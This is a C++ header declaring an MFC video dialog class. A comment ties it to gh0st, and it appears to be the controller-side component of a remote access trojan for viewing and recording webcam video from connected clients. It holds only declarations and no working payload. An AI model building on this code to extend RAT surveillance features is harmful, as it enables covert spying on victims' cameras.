59 lines
1.3 KiB
C++
59 lines
1.3 KiB
C++
#pragma once
|
||
|
||
|
||
// CVideoDlg 对话框
|
||
#include "include/IOCPServer.h"
|
||
#include "BmpToAvi.h"
|
||
#include "../Common/VideoCodec.h"
|
||
class CVideoDlg : public CDialog
|
||
{
|
||
DECLARE_DYNAMIC(CVideoDlg)
|
||
|
||
public:
|
||
CVideoDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // 标准构造函数
|
||
virtual ~CVideoDlg();
|
||
|
||
// 对话框数据
|
||
enum { IDD = IDD_VIDEODLG };
|
||
|
||
protected:
|
||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||
|
||
DECLARE_MESSAGE_MAP()
|
||
|
||
private:
|
||
int m_nOldWidth; // OnSize时判断是高或宽发生变化,宽优先
|
||
UINT m_nCount;
|
||
HICON m_hIcon;
|
||
CVideoCodec *m_pVideoCodec;
|
||
DWORD m_fccHandler;
|
||
CString m_aviFile; // 如果文件名不为空就写入
|
||
|
||
CBmpToAvi m_aviStream; //这个类也是gh0st封装好的类,我们调用其功能就可以了
|
||
HDC m_hDC;
|
||
HDRAWDIB m_hDD;
|
||
|
||
ClientContext* m_pContext;
|
||
CIOCPServer* m_iocpServer;
|
||
CString m_IPAddress;
|
||
LPVOID m_lpScreenDIB;
|
||
LPBYTE m_lpCompressDIB;
|
||
MINMAXINFO m_MMI;
|
||
LPBITMAPINFO m_lpbmi;
|
||
protected:
|
||
void ResetScreen(void);
|
||
void InitMMI(void);
|
||
public:
|
||
afx_msg void OnClose();
|
||
afx_msg void OnPaint();
|
||
afx_msg void OnGetMinMaxInfo(MINMAXINFO* lpMMI);
|
||
void OnReceiveComplete(void);
|
||
private:
|
||
void DrawDIB(void);
|
||
public:
|
||
virtual BOOL OnInitDialog();
|
||
void InitCodec(DWORD fccHandler);
|
||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||
void SaveAvi(void);
|
||
};
|